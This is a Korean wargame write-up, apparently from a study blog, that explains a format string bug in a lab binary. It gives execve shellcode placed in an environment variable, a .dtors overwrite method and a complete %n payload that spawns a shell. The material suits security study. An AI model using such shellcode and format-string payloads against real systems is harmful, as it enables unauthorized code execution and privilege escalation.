fgets 로 입력 문자열 제한을 걸어놨기 때문에 오버플로우는 불가능하다.
취약점이 터지는 부분은 바로 printf 부분이다.
보통 printf 함수를 쓸때는 앞에 서식문자를 쓰고 뒤에 인자를 넣기 마련인데 해당 문제 printf함수를 보면 인자만 들어가있다.
문제가 뭐냐면 만약 fgets로 입력받은 문자열에 서식문자(%x, %d등) 이 존재한다면 이를 문자열로 처리하지 않고 서식문자로 판단하게 된다.
여기서 문제가 발생하는데 %n 서식문자를 사용하면 특정 메모리 주소에 값을 덮을 수 있다.
1. 환경변수 SHELL 등록
(export SHELL=$(python -c 'print \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
2. 환경변수 주소 찾기
(0xbffffc07)
3. dtor 소멸자 주소 찾기
gcc는 컴파일 할 때 .ctors, .dtors 두 segment를 생성한다 (ctors - constructor, dtors - destructor)
.ctors 속성의 함수는 main() 전에 실행되고
.dtors 속성의 함수는 main() 종료 후에 실행 된다.
그러므로 main() 종료 후에 .dtors 속성의 함수가 실행되는 것을 이용해서 그 부분을 쉘 코드가 있는 주소 값으로 덮음으로써 쉘 코드가 실행되게 할 수 있다.
소멸자 __DTOR_END__ 가 들어있는 주소는 dtor 시작 영역+4 지점에 있으므로 0x08049598이 된다.
4. format string attack
입력한 문자열은 4번째 서식 지정자에 위치한다. 그러므로 %4$n을 이용해 값을 덮는다.
그리고 %n을 이용해 환경변수 주소를 덮어야 하는데 메모리 주소는 굉장히 크므로 2byte씩 나눠서 넣어야한다.
0xfc07 = 64519, 0xbfff = 49151 인데 bfff 가 나중에 들어가는데 값이 더 작으므로 뺄수가 없다.
이럴때는 더해서 0x1bfff 가 되게 만들어주면 0x1이 짤려 0x0804959b 주소로 들어가게 되고 0xbffffc07 쉘코드 주소가 정상적으로 덮인다.
0x1bfff - 0xfc07 = 50168
[payload]
(python -c 'print "\x98\x95\x04\x08" + "\x9a\x95\x04\x08" + "%64511x" + "%4$n" + "%50168x" + "%5$n"';cat) | ./attackme
포맷스트링 공부는 옆에 있는 블로그에서 했다. 설명을 너무 잘해주셔서 개념잡기가 쉬웠다 감사합니다. http://eunice513.tistory.com/16
'Pwnable > ▷ Study' 카테고리의 다른 글
lob 20 (0) | 2018.02.21 |
---|---|
lob 18 (0) | 2018.02.21 |
ftz level19 (0) | 2018.02.18 |
ftz level18 (0) | 2018.02.17 |
ftz level17 (1) | 2018.02.17 |